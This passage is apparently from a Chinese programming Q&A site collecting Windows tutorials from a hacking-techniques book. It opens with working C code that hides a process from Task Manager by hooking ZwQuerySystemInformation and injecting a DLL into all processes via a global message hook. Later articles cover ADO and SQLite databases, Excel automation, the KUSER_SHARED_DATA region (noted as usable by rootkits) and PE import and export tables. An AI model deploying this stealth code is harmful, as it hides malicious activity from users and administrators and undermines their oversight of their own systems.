(PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { // 判断是否是要隐藏的进程PID if (dwHideProcessId == (DWORD)pCur->UniqueProcessId) { if (0 == pCur->NextEntryOffset) { pPrev->NextEntryOffset = 0; } else { pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset; } } else { pPrev = pCur; } if (0 == pCur->NextEntryOffset) { break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset); } } // HOOK API HookApi(); return status;}
    设置全局消息钩子注入DLLint _tmain(int argc, _TCHAR* argv[]){ // 加载DLL并获取句柄 HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll"); if (NULL == hDll) { printf("%s error[%d]\n", "LoadLibrary", ::GetLastError()); } printf("Load Library OK.\n"); // 设置全局钩子 g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0); if (NULL == g_hHook) { printf("%s error[%d]\n", "SetWindowsHookEx", ::GetLastError()); } printf("Set Windows Hook OK.\n"); system("pause"); // 卸载全局钩子 if (FALSE == ::UnhookWindowsHookEx(g_hHook)) { printf("%s error[%d]\n", "UnhookWindowsHookE", ::GetLastError()); } printf("Unhook Windows Hook OK.\n"); // 卸载DLL ::FreeLibrary(hDll); system("pause"); return 0;}
    程序测试我们运行将要隐藏进程的程序 520.exe,然后打开任务管理器,可以查看到 520.exe 是处于可见状态。接着,以管理员权限运行我们的程序,设置全局消息钩子,将 DLL 注入到所有的进程中,DLL 便在 DllMain 入口点函数处 HOOK ZwQuerySystemInformation 函数,成功隐藏 520.exe 的进程。所以,测试成功。
    总结要注意 Inline Hook API 的时候,在 32 位系统和 64 位系统下的差别。
    在 32 位使用 jmp _NewAddress 跳转语句,机器码是 5 字节,而且要注意理解它的跳转偏移的计算方式:
    跳转偏移 = 跳转地址 - 下一跳指令的地址
    在 64 位使用的是的汇编指令是:
    mov rax, _NewAddressjmp rax
    机器码是 12 字节。
    在Windows7 32位旗舰版以及Windows10 64位专业版上进行测试,均能成功隐藏指定进程,程序在32位和64位全平台系统均能正常工作。要注意一点就是,建议以管理员身份运行程序,否则我们的全局钩子不能成功注入到一些高权限的进程中。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-31 16:06:36
  • 使用ADO方式连接并操作SQL数据库Access数据库等常用数据库

    背景对于数据库的操作使用,对于我们编程开发来说,是比较常见的事情,也是常用的技术。所以,应该要熟悉掌握。对于数据库的操作,基本操作就是增、删、改、查。但是,在进行这些基本操作之前,还有至关重要的一步,就是数据库的连接。对于数据库的成功连接,那么,我们对数据库的操作就完成一半了。很多初学者,都会卡死在数据库连接这一步上面。
    本文介绍的是ADO方式连接数据库,并操作数据库。ADO(ActiveX Data Object)具有跨系统平台特性,它直接对DBMS数据库进行操作,即系统中必须有DBMS,但不需要驱动程序,不需要注册数据源,所以具有很好的可移植性。
    本文就给出ADO方式连接并操作 SQL Server数据、Access数据库、Oracle数据库、MySQL数据库等常用数据库,虽然有很多数据库,但是它们之间对于ADO来说,只是连接字符串的区别而已。
    现在,我就把程序实现的过程整理成文档,分享给大家。
    实现原理ADO对象的导入在使用ADO技术时需要导入一个ADO动态链接库msado15.dll,该动态库位于系统盘下的”Program Files\Common Files\System\ado\”目录下。然后,我们在程序头文件中,添加下面的导入代码:
    #import "C:\\Program Files\\common files\\system\\ado\\msado15.dll" no_namespace rename("EOF","adoEOF")
    数据库连接我们在操作数据库之前,首先要连接数据库。数据库连接至关重要一点就是,数据库连接字符串。现在,我们先来介绍下ADO连接数据库的一个流程:

    首先,我们先调用 CoInitialize 初始化COM组件环境,因为ADO方式连接数据库,就是基于COM组件实现的。所以,必须要对COM环境进行初始化
    然后,调用 _ConnectionPtr::CreateInstance 函数创建 Connection 对象
    创建成功后,对 Connection 对象的连接超时ConnectionTimeout进行设置,同时调用 Open 函数,按照数据库连接字符串连接数据库

    经过,这 3 步操作,就成功完成数据库连接的操作。我们上面说,不同数据库,连接字符串也会不同。下面,我就列举常用数据库的连接字符串:
    Access连接字符串
    Provider=Microsoft.Jet.OLEDB.4.0;Data Source=MDB文件路径;Persist Security Info=False;Jet OLEDB:DataBase Password=数据库密码
    数据源连接字符串
    "DSN=TestDatabase;UID=;PWD=;"
    SQL Server连接字符串
    Driver=SQL Server;Server=服务器IP;Database=数据库名称;UID=用户名;PWD=密码
    Oracle连接字符串
    Provider=MSDAORA.1; Password=sa123; User ID=system; Data Source=192.168.0.221/orcl; Persist Security Info=True
    MySQL连接字符串
    Driver=MySQL ODBC 5.2 ANSI Driver;SERVER=192.168.0.221;UID=用户名;PWD=密码;DATABASE=test;PORT=端口(默认填写3306)
    // 以ADO方式连接数据库BOOL ADOConnectDatabase(_bstr_t ConnectionString, _bstr_t UserID, _bstr_t Password){ // 初始化COM对象 ::CoInitialize(NULL); try { // 创建Connection对象 HRESULT hr = g_pConnection.CreateInstance("ADODB.Connection"); if (SUCCEEDED(hr)) { // 连接超时时间 5 秒 g_pConnection->ConnectionTimeout = 5; // 连接数据库 g_pConnection->Open(ConnectionString, UserID, Password, adModeUnknown); return TRUE; } } catch (_com_error e) { ::MessageBox(NULL, e.Description(), e.ErrorMessage(), MB_OK); } return FALSE;}
    执行非查询操作的SQL语句
    首先,我们调用 _ConnectionPtr::BeginTrans 函数,开始事务
    然后,调用 _ConnectionPtr::Execute 函数执行SQL语句,这里可以提交多条SQL语句。在调用 Execute 函数的时候,数据库还没有执行SQL语句,此时SQL语句还没有生效
    最后,我们调用 _ConnectionPtr::CommitTrans 函数提交事务,这时所提交的SQL语句开始按提交顺序执行。如果出错,则调用 _ConnectionPtr::RollbackTrans 函数回滚并结束事务

    // 执行操作SQL语句BOOL ExecuteSQL(char *pszSQL){ _variant_t ra; // 开始事务 g_pConnection->BeginTrans(); try { // 执行SQL语句 g_pConnection->Execute((_bstr_t)pszSQL, &ra, adCmdText); // 提交事务 g_pConnection->CommitTrans(); return TRUE; } catch (_com_error e) { ::MessageBox(NULL, e.Description(), e.ErrorMessage(), MB_OK); } // 如果出现错误,回滚并结束事务 g_pConnection->RollbackTrans(); return FALSE;}
    执行查询操作的SQL语句查询SQL语句与其它操作的SQL语句不一样,它不是使用 _ConnectionPtr 对象进程操作的,而是使用记录集对象 _RecordsetPtr 来进行实现。

    首先,我们调用 _RecordsetPtr::CreateInstance 函数创建并初始化记录集对象
    然后,_RecordsetPtr::Open 函数打开记录集并执行查询SQL语句,将查询结果,返回到记录集中

    // 执行查询SQL语句BOOL SearchSQL(char *pszSQL){ // 初始化记录集对象 g_pRecordset.CreateInstance(_uuidof(Recordset)); // 打开记录集 g_pRecordset->Open((LPCTSTR)pszSQL, g_pConnection.GetInterfacePtr(), adOpenDynamic, adLockOptimistic, adCmdText); if (NULL == g_pRecordset) { ::MessageBox(NULL, "读取数据库记录出错", "ERROR", MB_OK); return FALSE; } return TRUE;}
    程序测试我们在 main 函数中调用上述封装好的函数,连接数据库,执行创建demongan数据库表的SQL语句,执行向demongan表插入5条数据的SQL语句,执行查询demongan表所有数据并显示在程序上。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ BOOL bRet = FALSE; char szSQL[MAX_PATH] = {0}; // 连接数据库 bRet = ADOConnectDatabase("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb", "", ""); if (FALSE == bRet) { printf("Connect Database Error.\n"); } printf("Connect Database OK.\n"); // 执行SQL语句,创建表 demongan ::wsprintf(szSQL, "CREATE TABLE demongan(ID int, Name varchar(20), Age int)"); bRet = ExecuteSQL(szSQL); if (FALSE == bRet) { printf("Create Table Error.\n"); } printf("Create Table OK.\n"); // 执行SQL语句,插入 5 条记录 for (int i = 0; i < 5; i++) { ::wsprintf(szSQL, "INSERT INTO demongan(ID, Name, Age) VALUES(%d, \'%s%d\', %d)", i, "Name", i, i + 1); bRet = ExecuteSQL(szSQL); if (FALSE == bRet) { printf("Insert Value Error.\n"); } } printf("Insert Value OK.\n"); // 查询数据 ::wsprintf(szSQL, "SELECT * FROM demongan"); bRet = SearchSQL(szSQL); if (FALSE == bRet) { printf("Search Value Error.\n"); } printf("Search Value OK.\n"); // 从记录集中获取数据并显示 _variant_t varID, varName, varAge; while (!g_pRecordset->adoEOF) { // 获取每个字段对应的数据 varID = g_pRecordset->GetCollect("ID"); varName = g_pRecordset->GetCollect("Name"); varAge = g_pRecordset->GetCollect("Age"); // 注意要强制转换下显示类型 printf("%s\t%s\t%s\n", (LPCTSTR)_bstr_t(varID), (LPCTSTR)_bstr_t(varName), (LPCTSTR)_bstr_t(varAge)); // 获取下一行数据 g_pRecordset->MoveNext(); } system("pause"); return 0;}
    我们直接运行程序,程序提示运行成功,成功连接数据库、创建表、插入数据、查询数据并显示查询结果:

    我们打开数据库文件,直接查看,数据成功被插入:

    总结数据库操作要注意 3 个关键点:

    一是与数据库的连接,要注意连接字符串一定要写正确,不同类型的数据库,连接字符串也会不同
    二是执行数据库的增加、删除、修改等除查询操作之外的SQL语句,先要开始事务,待所有SQL语句提交完毕后,再一次提交事务,交由数据库操作
    三是执行数据库的查询语句,查询结果,需要从记录集中一条一条循环获取,要注意循环结束的条件

    其中,在显示从数据集获取的数据的时候,我们要对数据进行(LPCTSTR)强制转化你,例如 (LPCTSTR)_bstr_t(varName),否则数据不能正常显示。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-31 09:58:59
  • 使用VS2013创建并操作SQLite数据库

    背景很早就听说过SQLite数据库了,但是自己一直都没有去接触它。一天,群友在Q群里提问有没有人使用VS写过关于SQLite数据库的例子。霎时间,我知道自己是时候要与SQLite邂逅了。

    SQLite 是一个软件库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。SQLite 是在世界上最广泛部署的 SQL 数据库引擎,而且源代码不受版权限制。

    本文就是要实现这样的一个小程序,使用VS2013加载SQLite数据库的库文件,并实现使用SQL语句新建表、对表插入数据并查询数据的功能。现在,我就把实现过程整理成文档,分享给大家。
    使用VS2013编译SQLite数据库的库文件在使用 SQLite 数据库之前,我们需要到 SQLite官网 上下载SQLite数据库的源码文件以及二进制文件。本文演示使用的下载文件是“sqlite-amalgamation-3190300.zi p” 和 “sqlite-dll-win32-x86-3190300.zip”。
    编译库文件首先,我们先解压二进制压缩文件 “sqlite-dll-win32-x86-3190300.zip”,解压后目录下有两个文件,分别是 “sqlite3.dll” 和 “sqlite3.def”,现在,我们需要使用VS2013 来帮助编译得到 .lib 库文件。编译过程就是在命令行CMD下输入:
    "C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\lib.exe" /MACHINE:IX86 /DEF:C:\Users\DemonGan\Desktop\sqlite-dll-win32-x86-3190300\SQLite3.def /OUT:C:\Users\DemonGan\Desktop\sqlite-dll-win32-x86-3190300\SQLite3.lib其中,”C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\lib.exe”就是你的VS2013自带的 lib.exe 程序路径;C:\Users\DemonGan\Desktop\sqlite-dll-win32-x86-3190300\SQLite3.def就是解压文件目录中SQLite3.def的路径;C:\Users\DemonGan\Desktop\sqlite-dll-win32-x86-3190300\SQLite3.lib就是保存生成的库文件SQLite.lib的输出路径。
    这样,我们就在目录下生成了“SQLite3.lib”库文件。

    向VS2013工程中导入SQLite库文件配置这时,我们继续解压“sqlite-amalgamation-3190300.zip”,将解压目录下的 “sqlite3.h” 头文件和 “SQLite3.lib” 库文件一起拷贝到工程目录下。然后,在工程中添加头文件和库文件:
    #include "sqlite3.h"#pragma comment(lib, "sqlite3.lib")
    这样,就可以在项目工程中,使用SQLite数据库了。
    实现过程首先,我们使用 sqlite3_open 函数根据数据库文件名称创建 SQLite 数据库。sqlite3_open 函数的第 1 个参数表示要创建的数据库名称,第 2 个参数获取数据库创建成功后的数据库句柄。
    // 打开数据库,创建连接 int iRet = sqlite3_open(szFileName, &conn); if (SQLITE_OK != iRet) { ShowError("sqlite3_open"); return 1; }
    然后,我们就可以直接调用 sqlite3_exec 函数执行SQL语句,来对数据库进行操作。其中, sqlite3_exec 函数的第 1 个参数表示数据库的句柄;第 2 个参数表示SQL语句;第 3 个参数表示回调函数,每成功执行一次SQL语句就执行一次回调函数;第 4 个参数表示回调函数返回的数据信息。
    现在,我们执行SQL语句 “CREATE TABLE demongan(ID int, Name varchar (20), Age int)”来创建一个名为demongan的表:
    // 执行SQL语句,创建表demongan ::wsprintf(szSQL, "CREATE TABLE demongan(ID int, Name varchar(20), Age int)"); iRet = sqlite3_exec(conn, szSQL, NULL, NULL, &szErr); if (SQLITE_OK != iRet) { ShowError("sqlite3_exec", szErr); return 2; }
    然后,继续调用 sqlite3_exec 函数执行SQL语句,将数据插入数据库中:
    // 执行SQL语句,插入10条记录 for (i = 0; i < 10; i++) { ::wsprintf(szSQL, "INSERT INTO demongan(ID, Name, Age) VALUES(%d, \'%s%d\', %d)", i, "Name", i, i + 1); iRet = sqlite3_exec(conn, szSQL, NULL, NULL, &szErr); if (SQLITE_OK != iRet) { ShowError("sqlite3_exec", szErr); return 3; } }
    接着,继续调用 sqlite3_exec 函数执行SQL语句,查询数据库,注意此处需要传入第 3 个参数,也就是回调函数,以此来显示查询结果:
    // 执行SQL语句,查询记录 ::wsprintf(szSQL, "SELECT * FROM demongan"); iRet = sqlite3_exec(conn, szSQL, sqlite3_exec_callback, NULL, &szErr); if (SQLITE_OK != iRet) { ShowError("sqlite3_exec"); return 4; }
    那么,回调函数 sqlite3_exec_callback 的函数名称是任意的,但是参数是固定的。一共有 4 个参数,第 1 个参数是由 sqlite3_exec 函数的第 4 个参数传递而来;第 2 个参数是表的列数;第 3 个参数表示查询到的值的指针数组;第 4 个参数表示列名即字段名指针数组。
    本文回调函数 sqlite3_exec_callback 的代码如下,
    int sqlite3_exec_callback(void *data, int colNum, char **colValue, char **colName){ int i = 0; for (i = 0; i < colNum; i++) { printf("%s[%s]\t", colName[i], colValue[i]); } printf("\n"); return 0;}
    程序测试将解压文件中的 “SQLite3.dll” 拷贝到工程编译链接生成的 exe 程序同一目录下,运行 exe 程序,成功显示数据库查询结果:

    总结使用SQLite数据库确实很方便,不需要安装额外的数据库环境,就可以通过SQL语句去操作数据库。这个程序的实现过程不是很繁杂,只要跟着上述介绍的步骤,仔细编码就可实现。
    同时,也应该注意的是,需要把解压文件中的 “SQLite3.dll” 拷贝到工程编译链接生成的 exe 程序同一目录下,这样程序才能正常运行。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-30 20:40:57
  • 使用VS2013实现对Excel表格的读写

    背景有一天,一位网友加入了我的Q群,然后又通过Q群私信我,向我请教如何使用VS读写excel文件表格的问题。其实,在ta向我请教的时候,我也没有写过这样功能模块或是开发过类似的小程序。但,仍是被ta求知的行为感动了,所以决定花些时间去了解这方面的知识,给ta一个答复。
    于是,经过搜索,找到了相关资料,并写了个示例小程序给ta。当然,那个示例小程序并不是本文给的这个程序,本文的示例小程序是为了配合本文的演示,而故意修改的,更适合初学者使用,两者原理和实现上基本上是一样的。
    现在,我就把这个小程序的实现思路和实现过程,写成文档,分享给大家。
    导入操作EXCEL所需的MFC类库我们需要导入MFC类库,来帮助我们实现对EXCEL表格的操作。那么,就要求我们的项目工程支持MFC。类似,WIN32 控制台程序默认是不支持MFC的,所以,在创建项目的时候,要选择支持MFC。
    现在,本文以WIN32 控制台项目工程为例,讲解导入EXCEL所需类库的操作:
    首先,在“Win32应用程序向导”窗口中,注意要选择“添加公共头文件以用于:MFC”。然后点击“完成”,成功创建项目工程。

    进入项目工程中,选中项目,鼠标右键选择“添加” —> “添加类”。在“添加类”对话框中选择“TypeLib中的MFC类”,即基于类型库添加Microsoft基础类库类。

    接着需要选择OLE/COM 组件的路径,也就是你计算机上excel.exe 所在的路径。我的Microsoft Office是安装在F盘,所以excel.exe路径就是:

    F:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE
    路径选择完毕后,需要向项目工程中添加基本的 7 个类( Excel 作为 OLE/COM 库插件,定义好了各类交互的接口,这些接口是跨语言的接口。 VC 可以通过导入这些接口,并通过 接口来对 Excel 的操作), 由于本文只关心对 Excel 表格中的数据的读取,主要关注 7 个接口:_Application、Workbooks、_Workbook、Worksheets、_Worksheet、Range、Font。
    添加完毕后,点击“完成”,即可成功添加 7 个类到项目工程中。

    成功添加 7 个类之后,项目工程会新增 7 个类库的头文件:

    但是,如果我们直接编译项目工程的话,会报错的。所以,现在需要对上述生成的 7 个头文件进行修改:
    将每个头文件顶头的:

    “#import “F:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE” no_namespace”
    注释掉。并添加头文件:”#include <afxdisp.h>“

    修改完毕后,再编译程序,若报错,而且错误号为“C2059”,则双击错误,跳转到错误代码行。然后将 将VARIANT DialogBox() 改成 VARIANT _DialogBox() ,再次编译,即可编译通过。


    实现原理从EXCEL表格中读取数据
    首先,使用CApplication::CreateDispatch创建Excel.Application对象,并获取工作簿CWorkbooks
    接着,使用CWorkbooks::Open打开excel表格文件,并获取工作表对象CWorksheets
    然后使用CWorksheets::get_Item获取指定的工作表对象CWorksheet。本文是获取第 1 张工作表
    接着,我们可以调用CWorksheet::get_Range获取读取表格的范围。本文是获取 A1—A1 范围的表格
    然后,对表格内容弹窗输出
    最后,关闭对象,进行清理工作

    向EXCEL表格中写入数据
    首先,使用CApplication::CreateDispatch创建Excel.Application对象,并获取工作簿CWorkbooks
    接着,使用CWorkbooks::Add新添加一个工作簿,并使用CWorkbook::get_Worksheets获取工作表对象
    然后使用CWorksheets::get_Item获取指定的工作表对象CWorksheet。本文是获取第 1 张工作表
    接着,我们可以调用CWorksheet::get_Range获取表格的范围。本文是获取 A1—C3 范围的表格。并调用CRange::put_Value2将表格写入数据,并设置字体以及列宽
    然后,调用CWorkbook::SaveAs保存文件
    最后,关闭对象,进行清理工作

    编码实现从EXCEL表格中读取数据// 读取BOOL MyExcel::ReadExcel(){ //导入 COleVariant covOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR); if (!app.CreateDispatch(_T("Excel.Application"))) { ::MessageBox(NULL, "无法创建Excel应用!", "WARNING", MB_OK); return TRUE; } books = app.get_Workbooks(); //打开Excel,其中pathname为Excel表的路径名 lpDisp = books.Open(_T("C:\\Users\\DemonGan\\Desktop\\test.xlsx"), covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional, covOptional); book.AttachDispatch(lpDisp); sheets = book.get_Worksheets(); sheet = sheets.get_Item(COleVariant((short)1)); //获得坐标为(A,1) -- (A,1)的单元格 range = sheet.get_Range(COleVariant(_T("A1")), COleVariant(_T("A1"))); //获得单元格的内容 COleVariant rValue; rValue = COleVariant(range.get_Value2()); //转换成宽字符 rValue.ChangeType(VT_BSTR); //转换格式,并弹窗输出 ::MessageBox(NULL, CString(rValue.bstrVal), "RESULT", MB_OK); book.put_Saved(TRUE); // 退出 app.Quit(); app.ReleaseDispatch(); app = NULL; return TRUE;}
    向EXCEL表格中写入数据// 写入BOOL MyExcel::WriteExcel(){ //导出 COleVariant covOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR); if (!app.CreateDispatch(_T("Excel.Application"))) { ::MessageBox(NULL, "无法创建Excel应用!", "WARNING", MB_OK); return TRUE; } books = app.get_Workbooks(); book = books.Add(covOptional); sheets = book.get_Worksheets(); sheet = sheets.get_Item(COleVariant((short)1)); //获得坐标为(A,1)和(C,3)范围区域的9个单元格 range = sheet.get_Range(COleVariant(_T("A1")), COleVariant(_T("C3"))); //设置单元格类容为World Of Demon range.put_Value2(COleVariant(_T("CDIY"))); //选择整列,并设置宽度为自适应 cols = range.get_EntireColumn(); cols.AutoFit(); //设置字体为粗体 font = range.get_Font(); font.put_Bold(COleVariant((short)TRUE)); //获得坐标为(D,4)单元格 range = sheet.get_Range(COleVariant(_T("D4")), COleVariant(_T("D4"))); //设置公式“=RAND()*100000” range.put_Formula(COleVariant(_T("=RAND()*100000"))); //设置数字格式为货币型 range.put_NumberFormat(COleVariant(_T("$0.00"))); //选择整列,并设置宽度为自适应 cols = range.get_EntireColumn(); cols.AutoFit(); //显示Excel表// app.put_Visible(TRUE);// app.put_UserControl(TRUE); // 保存excel表 COleVariant vTrue((short)TRUE), vFalse((short)FALSE), vOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR); COleVariant vFileName(_T("C:\\Users\\DemonGan\\Desktop\\test.xlsx")); book.SaveAs( vFileName, //VARIANT* FileName vOptional, //VARIANT* FileFormat vOptional, //VARIANT* LockComments vOptional, //VARIANT* Password vOptional, //VARIANT* AddToRecentFiles vOptional, //VARIANT* WritePassword 0, //VARIANT* ReadOnlyRecommended vOptional, //VARIANT* EmbedTrueTypeFonts vOptional, //VARIANT* SaveNativePictureFormat vOptional, //VARIANT* SaveFormsData vOptional, //VARIANT* SaveAsAOCELetter vOptional //VARIANT* ReadOnlyRecommended ); // 退出 app.Quit(); app.ReleaseDispatch(); app = NULL; return TRUE;}
    程序测试在 main 函数中调用上述封装好的函数,进行测试。 main 函数为:
    int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]){ int nRetCode = 0; HMODULE hModule = ::GetModuleHandle(NULL); if (hModule != NULL) { // 初始化 MFC 并在失败时显示错误 if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0)) { // TODO: 更改错误代码以符合您的需要 _tprintf(_T("错误: MFC 初始化失败\n")); nRetCode = 1; } else { // TODO: 在此处为应用程序的行为编写代码。 MyExcel myExcel; // 写入数据 myExcel.WriteExcel(); printf("Write OK.\n"); system("pause"); // 读取数据 myExcel.ReadExcel(); printf("Read OK.\n"); system("pause"); } } else { // TODO: 更改错误代码以符合您的需要 _tprintf(_T("错误: GetModuleHandle 失败\n")); nRetCode = 1; } return nRetCode;}
    测试结果
    运行程序,提示写入EXCEL表格成功。

    然后,打开生成的“test.xlsx”文件,数据被成功写入。

    然后,我们继续执行程序,EXCEL表格中的“A1”个的数据成功读取,并弹窗显示。

    总结这个小程序,主要是前期创建工程的时候需要注意,如果你创建的是MFC,那么就跟着上述步骤,导入操作EXCEL所需的MFC类库。但,如果你创建的是其他工程,例如Win32工程,那么在创建的过程中,就应该选择包含MFC的功能,因为程序需要导入操作EXCEL所需的MFC类库,所以工程必须要支持MFC。
    1 回答 2018-12-26 12:56:13
  • 内核KUSER_SHARED_DATA共享区域的验证

    背景无论是在 32 位系统内存分布,还是在 64 位系统内存分布中,我们知道高地址空间分配给系统内核使用,低地址空间分配给用户进程使用。
    事实上,用户空间和内核空间其实有一块共享区域,大小为 4 KB。它们的内存地址虽然不一样,但是它们都是有同一块物理内存映射出来的。现在,本文就是要实现一个这样的程序,去验证这块共享区域的存在。
    实现原理用户空间和内核空间的共享区域,大小为 4 KB,内核占用其中一小部分,但 Rootkit 应该大约还有 3 KB 空间可使用。这两个虚拟内存地址都映射到同一物理页面,内核程序对这块共享区域有可读、可写的权限,用户程序对这块共享区域只有只读的权限。
    其中,对于 32 位系统和 64 位系统来说,这块共享区域对应的内核地址范围以及对应用户空间的地址范围如下表所示:




    内核起始地址
    内核结束地址
    用户起始地址
    用户结束地址




    32 系统
    0xFFDF0000
    0xFFDF0FFF
    0x7FFE0000
    0x7FFE0FFF


    64 系统
    0xFFFFF780`00000000
    0xFFFFF780`00000FFF
    0x7FFE0000
    0x7FFE0FFF



    由上面可以看出,32 位系统和 64 位系统下,该共享区域的内核地址是不同的,而用户空间上的地址都是相同的。
    这块共享区域的名称是 KUSER_SHARED_DATA,想要获得关于该共享区域的更过详细解释,可以在 WinDbg 中输入:dt nt!_KUSER_SHARED_DATA 来获取信息。
    本文演示的程序,就是在 KUSER_SHARED_DATA 的内核内存中写入数据,然后,由用户称程序读取写入的数据,以此验证 KUSER_SHARED_DATA 区域的存在。
    编码实现用户层程序int _tmain(int argc, _TCHAR* argv[]){ // 要偏移 1 KB 大小读取数据, 因为写入的时候是偏移 1 KB 大小写入的 void *pBaseAddress = (void *)(0x7FFE0000 + 0x400); printf("[Share Data]%s\n", pBaseAddress); system("pause"); return 0;}
    内核层程序// 向共享区域中写入数据BOOLEAN WriteShareData(PCHAR pszData, ULONG ulDataSize){ PVOID pBaseAddress = NULL; // 偏移 1 KB 写入数据, 因为系统会占用大约 1 KB 的空间#ifdef _WIN64 // 64 Bits pBaseAddress = (PVOID)(0xFFFFF78000000000 + 0x400);#else // 32 Bits pBaseAddress = (PVOID)(0xFFDF0000 + 0x400);#endif // 写入 RtlCopyMemory(pBaseAddress, pszData, ulDataSize); return TRUE;}
    程序测试在 Windows7 32 位系统下,驱动程序正常执行:

    在 Windows10 64 位系统下,驱动程序正常执行:

    总结注意,这块共享区域主要是用来在用户层和内核层之间快速的传递信息的,会占用大约 1 KB 大小的空间。所以,我们通常偏移 0x400 大小处写入我们自己的数据,这样,就不会影响原来的内核代码的正常运行了。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-25 09:01:31
  • 根据PE文件格式从导入表中获取加载的DLL并遍历导入函数名称和地址

    背景了解 PE 文件格式,对于做一些数据分析都是比较重要的基础。在 PE 文件格式中,理解导入表以及导出表的工作原理,又是重中之重。理解了 PE 格式的导入表,就可以修改 PE 格式进行 DLL 注入,也可以修改导入表实现 API HOOK 等。理解了 PE 格式的导出表,可以不需要 WIN32 API 函数就可以根据 DLL 加载基址定位出导出函数的名称和导出函数的地址,这在 SHELLCODE 的编写中,比较重要。
    本文主要介绍导入表。给出一个 DLL 的加载基址,然后我们根据导入表获取它需要加载的 DLL 以及遍历所有导入函数名称及其函数地址。现在,我把实现过程整理成文档,分享给大家。
    实现原理我们根据 PE 文件格式结构中的导入表工作原理来进行实现,实现原理如下所示:

    首先,我们根据 DLL 加载基址,也就是 PE 文件结构的起始地址,从 DOS 头获取 NT 头,并根据 NT 头中的 OptionalHeader.DataDirectory 的导入表选项,获取导入表的偏移位置以及数据大小
    我们来到导入表的数据偏移处,获取导入的 DLL 名称偏移 Name,并显示 DLL 名称
    接着,根据导入表中导入函数名称的地址偏移 OriginalFirstThunk,并根据 IMAGE_IMPORT_BY_NAME 数据结构从中获取导入函数名称及其函数索引并显示。同时,也从 FirstThunk 导入函数地址列表中获取对应位置的导入函数地址并显示。继续循环获取下一个函数名称,直到遍历完毕
    继续获取下一个 DLL,重复上诉第 3 步,直到 DLL 获取完毕

    其中,在导入表中,OriginalFirstThunk 的导入函数名称列表和 FirstThunk 导入函数地址列表一一对应。
    编码实现// 遍历导入表中的DLL、导入函数及其函数地址BOOL GetProcessDllName(PVOID lpBaseAddress){ LPVOID lpFunc = NULL; // 获取导入表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE *)pDosHeader + pDosHeader->e_lfanew); PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); // 获取导入表的数据 char *pszDllName = NULL; PIMAGE_THUNK_DATA pThunkData = NULL; PIMAGE_IMPORT_BY_NAME pImportByName = NULL; PIMAGE_THUNK_DATA pImportFuncAddr = NULL; while (0 != pImportTable->Name) { // 获取DLL的名称 pszDllName = (char *)((BYTE *)pDosHeader + pImportTable->Name); printf("---------- DLL Name = %s ----------\n", pszDllName); // 遍历 DLL 中导入函数的名称 pThunkData = (PIMAGE_THUNK_DATA)((BYTE *)pDosHeader + pImportTable->OriginalFirstThunk); pImportFuncAddr = (PIMAGE_THUNK_DATA)((BYTE *)pDosHeader + pImportTable->FirstThunk); while (TRUE) { if (0 == pThunkData->u1.AddressOfData) { break; } // 获取导入函数名称和序号 pImportByName = (PIMAGE_IMPORT_BY_NAME)((BYTE *)pDosHeader + pThunkData->u1.AddressOfData); printf("[%d]\t%s\t", pImportByName->Hint, pImportByName->Name); // 获取导入函数地址 printf("[0x%p]\n", (PVOID)((BYTE *)pDosHeader + pImportFuncAddr->u1.Function)); // 获取下一个函数名称和地址 pThunkData++; pImportFuncAddr++; } // 获取下一个DLL pImportTable++; } return TRUE;}
    程序测试我们直接运行程序,程序正确列出导入的DLL及遍历出导入函数名称和地址:

    总结这个程序不是很复杂,但是关键是要理解 PE 文件结构的导入表,要理解清楚导入表的工作原理。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2018-12-24 09:14:38
  • 根据PE文件格式从导出表中获取指定导出函数的地址

    背景了解 PE 文件格式,对于做一些数据分析都是比较重要的基础。在 PE 文件格式中,理解导入表以及导出表的工作原理,又是重中之重。理解了 PE 格式的导入表,就可以修改 PE 格式进行 DLL 注入,也可以修改导入表实现 API HOOK 等。理解了 PE 格式的导出表,可以不需要 WIN32 API 函数就可以根据 DLL 加载基址定位出导出函数的名称和导出函数的地址,这在 SHELLCODE 的编写中,比较重要。
    本文主要介绍导出表。给出一个 DLL 的加载基址和导出函数的名称,获取 DLL 中导出函数对应的导出地址。现在我把程序的实现过程整理成文档,分享给大家。
    实现原理我们根据PE文件格式结构中的导出表工作原理来进行实现,实现原理如下所示:

    首先,我们根据 DLL 加载基址,也就是 PE 文件结构的起始地址,从 DOS 头获取 NT 头,并根据 NT 头中的 OptionalHeader.DataDirectory 的导出表选项,获取导出表的偏移位置以及数据大小
    我们来到导出表的数据偏移处,获取导出函数名称的数量以及导出函数名称的地址列表偏移
